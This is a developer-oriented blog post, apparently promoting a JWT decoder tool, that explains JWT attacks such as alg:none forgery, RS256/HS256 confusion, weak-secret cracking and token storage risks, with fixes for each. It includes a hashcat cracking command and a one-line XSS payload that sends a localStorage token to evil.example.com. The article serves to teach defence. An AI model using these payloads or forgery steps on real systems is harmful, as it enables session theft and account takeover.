Try the JWT Decoder

JWT Security Vulnerabilities: alg:none, Algorithm Confusion, and Secure Token Storage

The alg:none attack, RS256/HS256 algorithm confusion, weak HS256 secrets, localStorage vs httpOnly cookies, and revocation without statefulness β€” JWT security vulnerabilities are specific and avoidable. Here's how each one works and how to fix it.

By sadiqbd Β· June 9, 2026

JWT Security Vulnerabilities: alg:none, Algorithm Confusion, and Secure Token Storage

JWT security vulnerabilities are surprisingly subtle β€” and some have affected major applications

JSON Web Tokens are now used for authentication and authorisation in the majority of web applications. Their adoption happened fast, partly because they're elegant and easy to implement. The elegance, however, comes with security pitfalls that have produced real exploits against real systems.

Understanding the vulnerabilities doesn't require deep cryptographic knowledge β€” the most dangerous ones come from implementation details that are easy to get wrong.


The algorithm:none attack

JWT headers specify the signing algorithm. The original JWT specification included "alg": "none" as a valid option β€” an unsigned token, for contexts where security was provided by other means.

An attacker who discovers a vulnerable JWT library can:

  1. Take a valid JWT
  2. Decode it
  3. Modify the payload (change user ID, add admin role)
  4. Set "alg": "none" in the header
  5. Remove the signature
  6. Submit the token

If the server validates JWTs by calling the algorithm specified in the token header (rather than enforcing a specific expected algorithm), it processes the modified token as valid.

Vulnerable code pattern:

# Bad: using the algorithm from the token itself
decoded = jwt.decode(token, public_key)  
# The library reads alg from the token header

Secure code:

# Good: explicitly specify the expected algorithm
decoded = jwt.decode(token, public_key, algorithms=["RS256"])
# Token with alg:none is rejected

The RS256/HS256 algorithm confusion attack

This is more subtle. Some tokens use RS256 (asymmetric, RSA): the server signs with a private key and verifies with a public key. The public key is... public.

An attacker who knows the RS256 public key can:

  1. Forge a token signed with HMAC-SHA256 (HS256)
  2. Use the RS256 public key as the HS256 secret
  3. Submit the token

If the verification code trusts the "alg" header without validating that it matches the expected algorithm, it might attempt HMAC verification using the public key as the secret β€” and succeed, since the attacker created the token with that exact key.

The fix: always specify the exact expected algorithm on the server side. Never trust the algorithm specified in the token header.


Weak secret keys

Tokens signed with HS256 use a shared secret. If the secret is weak, it can be brute-forced offline.

After obtaining a valid JWT, an attacker can run dictionary attacks or brute-force short secrets using tools like Hashcat:

hashcat -a 0 -m 16500 token.txt wordlist.txt

At millions of attempts per second, a secret shorter than ~256 bits of entropy is vulnerable to offline cracking. The cracked secret allows forging arbitrary tokens.

Mitigation:

  • Use secrets of at least 256 bits (32+ random bytes)
  • Generate secrets with a CSPRNG, not human-chosen strings
  • For production systems, prefer RS256 (asymmetric) over HS256 β€” there's no shared secret to steal or crack

JWT storage: localStorage vs httpOnly cookies

JWTs are often stored in localStorage. This is convenient but has a significant vulnerability: JavaScript can read localStorage, including any XSS payload injected into the page.

If an attacker successfully injects JavaScript into a page (via XSS), they can steal all localStorage tokens:

// XSS payload that exfiltrates tokens
fetch('https://evil.example.com/steal?token=' + localStorage.getItem('jwt'));

httpOnly cookies are not accessible from JavaScript β€” document.cookie doesn't include them, and no JavaScript can read them. An XSS attack that steals localStorage tokens is blocked from accessing httpOnly cookie tokens.

Comparison:

Storage Readable by JS Sent automatically CSRF risk
localStorage Yes ❌ No No
sessionStorage Yes ❌ No No
httpOnly cookie No βœ… Yes Yes (mitigated with SameSite)
Memory (JS variable) Yes (during session only) No No

Best practice: store JWTs in httpOnly, SameSite=Strict or SameSite=Lax cookies. This removes the XSS theft vector (httpOnly) and reduces CSRF risk (SameSite).


The expiry without revocation problem

JWTs are stateless β€” the server verifies the signature and trusts the claims without checking any database. This means:

  • A stolen JWT is valid until its exp (expiration) claim
  • There's no built-in way to invalidate a JWT before it expires
  • Logging out a user doesn't invalidate their JWT if they retained a copy

Mitigation approaches:

Short expiry + refresh tokens: access tokens expire in 15 minutes; refresh tokens (stored more securely, server-side tracked) allow requesting new access tokens. A stolen access token is only valid for a short window.

Token denylist: maintain a server-side set of invalidated token IDs. On logout or security event, add the token's jti (JWT ID) claim to the denylist. Verify against the denylist on each request. This reintroduces statefulness but enables immediate revocation.

Token rotation: issue a new access token with each request; invalidate the previous one. More complex but limits the validity window of any stolen token.


Common JWT claim vulnerabilities

Missing expiry (exp claim): many implementations skip setting the exp claim, producing tokens that are valid forever. Always set a short expiry for access tokens.

Trusting the sub (subject) claim without validation: the sub claim identifies the token's subject (usually a user ID). If code trusts this claim without verifying the token's signature first, or uses it to load user data without type/format validation, injection attacks become possible.

Sensitive data in the payload: JWT payloads are base64-encoded, not encrypted. Anyone with the token can read the payload by decoding it. Never put passwords, secrets, PII, or other sensitive data in JWT claims unless using JWE (JSON Web Encryption).


How to use the JWT Decoder on sadiqbd.com

  1. Paste the JWT token β€” the three Base64URL-separated sections
  2. Decode β€” the tool shows:
    • Header: algorithm and token type
    • Payload: all claims with human-readable timestamps for exp, iat, nbf
    • Signature: whether the structure is valid
  3. Inspect for security issues:
    • Is alg using a secure algorithm (RS256, ES256, HS256 with strong key)?
    • Is exp set and in the future?
    • Is there a jti for revocability?
    • Are there sensitive fields in the payload?

Frequently Asked Questions

Can the JWT Decoder verify a token's signature? Signature verification requires the secret key or public key β€” which the decoder tool doesn't have. The decoder shows the decoded claims for inspection. Signature verification must happen in your application code with the appropriate key.

Should I use JWTs for session management? They're appropriate for stateless, short-lived access tokens in distributed systems. For traditional web applications with server-side sessions, conventional session cookies backed by a session store are often simpler, more revocable, and easier to secure correctly.

Is the JWT Decoder free? Yes β€” completely free, no sign-up required.


JWTs are widely implemented and widely misimplemented. The vulnerabilities are specific and avoidable β€” explicitly specifying algorithms, using httpOnly cookies for storage, setting short expiry, and choosing appropriate key types are the practical checklist.

Try the JWT Decoder free at sadiqbd.com β€” inspect any JWT's header and payload claims, with human-readable timestamps and algorithm details.

Try the related tool:
Open JWT Decoder

More JWT Decoder articles